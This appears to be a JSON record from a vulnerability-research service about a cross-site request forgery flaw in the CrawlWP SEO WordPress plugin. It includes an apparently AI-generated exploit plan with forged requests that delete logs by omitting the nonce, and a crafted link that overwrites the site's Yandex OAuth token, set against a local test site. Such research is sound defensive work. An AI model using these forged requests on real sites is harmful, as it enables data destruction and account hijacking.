[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7ZsxipbR6CG3c_EGvS7Q5c1NeDYA9oYVwlGWI0zb0kQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":20,"research_plan":31,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":32,"research_started_at":33,"research_completed_at":34,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":35},"CVE-2026-59520","crawlwp-seo-instant-search-engine-indexing-seo-performance-monitor-cross-site-request-forgery","CrawlWP SEO – Instant Search Engine Indexing & SEO Performance Monitor \u003C= 3.0.16 - Cross-Site Request Forgery","The CrawlWP SEO – Instant Search Engine Indexing & SEO Performance Monitor plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 3.0.16. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","mihdan-index-now",null,"\u003C=3.0.16","3.0.17","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2026-07-05 00:00:00","2026-07-07 19:49:14",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F89dc1740-0050-4793-847b-9aa44cc12822?source=api-prod",3,[22,23,24,25,26,27,28],"changelog.txt","mihdan-index-now.php","readme.txt","src\u002FCron.php","src\u002FProviders\u002FYandex\u002FYandexWebmaster.php","src\u002FViews\u002FLog_List_Table.php","src\u002FViews\u002FSettings.php","researched",false,"This research plan details the exploitation of **CVE-2026-59520**, a Cross-Site Request Forgery (CSRF) vulnerability in the **CrawlWP SEO** plugin for WordPress. The vulnerability arises from a conditional nonce verification logic error and missing nonce checks on sensitive administrative functions.\n\n### 1. Vulnerability Summary\nThe vulnerability is primarily located in the `Mihdan\\IndexNow\\Views\\Log_List_Table::bulk_action_handler` method. This function implements a \"conditional\" nonce check: it only verifies the nonce if the `_wpnonce` parameter is present in the request. If the parameter is omitted entirely, the verification is skipped, and the function proceeds to perform the requested action (such as deleting logs). \n\nAdditionally, the `Mihdan\\IndexNow\\Providers\\Yandex\\YandexWebmaster::get_api_token` method, which handles OAuth token storage, is hooked to `admin_init` and lacks any nonce validation, allowing an attacker to overwrite the site's Yandex API tokens via a GET request.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoints**:\n    *   **Log Deletion**: `\u002Fwp-admin\u002Fadmin.php?page=crawlwp&wposa-menu=crawlwp_log` (POST)\n    *   **Yandex OAuth Hijacking**: `\u002Fwp-admin\u002Fadmin.php?page=crawlwp&code=[CODE]&state=yandex-webmaster` (GET)\n*   **Authentication**: Requires a victim with `manage_options` capabilities (Administrator).\n*   **Payload Parameter**:\n    *   For Log Deletion: `action=delete` and `log_rows[]` (array of IDs).\n    *   For Yandex Hijacking: `code` (attacker's OAuth code).\n*   **Preconditions**: The plugin must be active. For the OAuth attack, the plugin must be configured with a Client ID\u002FSecret (or the attacker provides their own via CSRF to the settings page first).\n\n### 3. Code Flow\n1.  **Entry Point**: The `admin_init` hook triggers `Mihdan\\IndexNow\\Views\\Settings::setup_hooks`.\n2.  **Hook Registration**: `Settings::setup_hooks` registers a callback on `wpposa_load_menu_hook`.\n3.  **Instantiation**: When an admin visits the plugin settings page with `wposa-menu=crawlwp_log`, the `Log_List_Table` class is instantiated.\n4.  **Vulnerable Sink**: The `Log_List_Table::__construct` calls `bulk_action_handler()`.\n5.  **Bypass Logic (`src\u002FViews\u002FLog_List_Table.php`)**:\n    ```php\n    private function bulk_action_handler() {\n        global $wpdb;\n        \u002F\u002F BUG: Nonce is only verified IF it is provided. \n        \u002F\u002F If $_POST['_wpnonce'] is empty\u002Funset, the check is bypassed.\n        if ( ! empty($_POST['_wpnonce']) && ! wp_verify_nonce(wp_unslash($_POST['_wpnonce']), 'bulk-' . $this->_args['plural'])) {\n            return;\n        }\n\n        \u002F\u002F Action proceeds if nonce is omitted\n        if (isset($_POST['log_rows']) && is_array($_POST['log_rows']) && 'delete' === $this->current_action()) {\n            \u002F\u002F ... deletion logic ...\n        }\n    }\n    ```\n\n### 4. Nonce Acquisition Strategy\n**No nonce is required for this exploit.**\nThe vulnerability in the `bulk_action_handler` is a **conditional bypass**. By explicitly omitting the `_wpnonce` parameter from the POST request, the `! empty($_POST['_wpnonce'])` condition evaluates to `false`, causing the security check to be skipped entirely. \n\nFor the Yandex OAuth vulnerability in `src\u002FProviders\u002FYandex\u002FYandexWebmaster.php`, there is no nonce check implemented at all.\n\n### 5. Exploitation Strategy\nThis plan focuses on unauthorized log deletion to demonstrate the CSRF.\n\n**Step 1: Identify Log IDs**\nThe attacker must know the IDs of the logs to delete. In a real-world scenario, an attacker might target a wide range of IDs (e.g., 1 to 100).\n\n**Step 2: Forge the CSRF Request**\nUse the `http_request` tool to simulate an administrator submitting a bulk deletion request without a nonce.\n\n*   **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=crawlwp&wposa-menu=crawlwp_log`\n*   **Method**: `POST`\n*   **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body**: `action=delete&log_rows%5B%5D=1&log_rows%5B%5D=2` (URL-encoded `action=delete&log_rows[]=1&log_rows[]=2`)\n\n### 6. Test Data Setup\nBefore running the exploit, ensure there is data in the log table:\n1.  **Identify Table Name**:\n    ```bash\n    wp db tables | grep logs\n    ```\n    *(Likely `wp_crawlwp_logs` or `wp_mihdan_index_now_log`)*.\n2.  **Insert Dummy Logs**:\n    ```bash\n    wp eval 'global $wpdb; $table = (new Mihdan\\IndexNow\\Logger\\Logger(new Mihdan\\IndexNow\\Container()))->get_logger_table_name(); $wpdb->insert($table, [\"message\" => \"Security Test\", \"created_at\" => current_time(\"mysql\")]);'\n    ```\n3.  **Verify Presence**:\n    ```bash\n    wp db query \"SELECT * FROM wp_mihdan_index_now_log;\"\n    ```\n\n### 7. Expected Results\n*   The `http_request` should return a `200 OK` response (the WordPress admin page).\n*   The log entries specified in the `log_rows` parameter should be deleted from the database.\n*   No \"Failure\" or \"Invalid Nonce\" message should appear because the check was bypassed.\n\n### 8. Verification Steps\nAfter the exploit, verify the database state via WP-CLI:\n```bash\n# Check if the log entries still exist\nwp db query \"SELECT count(*) FROM wp_mihdan_index_now_log WHERE log_id IN (1, 2);\"\n# Expected output: 0\n```\n\n### 9. Alternative Approaches\n**Yandex OAuth Account Hijack**:\nTricking the admin into clicking a link can force the site to link to an attacker-controlled Yandex account.\n*   **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=crawlwp&code=ATTACKER_OAUTH_CODE&state=yandex-webmaster`\n*   **Result**: The plugin will attempt to save `ATTACKER_OAUTH_CODE` and exchange it for tokens, overwriting any existing legitimate configuration.\n\n**Site Verification Reset**:\nThe `yandex_webmaster_find_website` function in `src\u002FProviders\u002FYandex\u002FYandexWebmaster.php` also lacks a nonce.\n*   **Payload**: POST to `\u002Fwp-admin\u002Fadmin.php?page=crawlwp` with `submit_crawlwp_yandex_webmaster=1`.\n*   **Result**: Forces the plugin to re-run the website discovery logic and potentially change the `host_id` setting.","gemini-3-flash-preview","2026-07-25 09:41:50","2026-07-25 09:42:58",{"type":36,"vulnerable_version":37,"fixed_version":11,"vulnerable_browse":38,"vulnerable_zip":39,"fixed_browse":40,"fixed_zip":41,"all_tags":42},"plugin","3.0.16","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmihdan-index-now\u002Ftags\u002F3.0.16","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmihdan-index-now.3.0.16.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmihdan-index-now\u002Ftags\u002F3.0.17","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmihdan-index-now.3.0.17.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmihdan-index-now\u002Ftags"]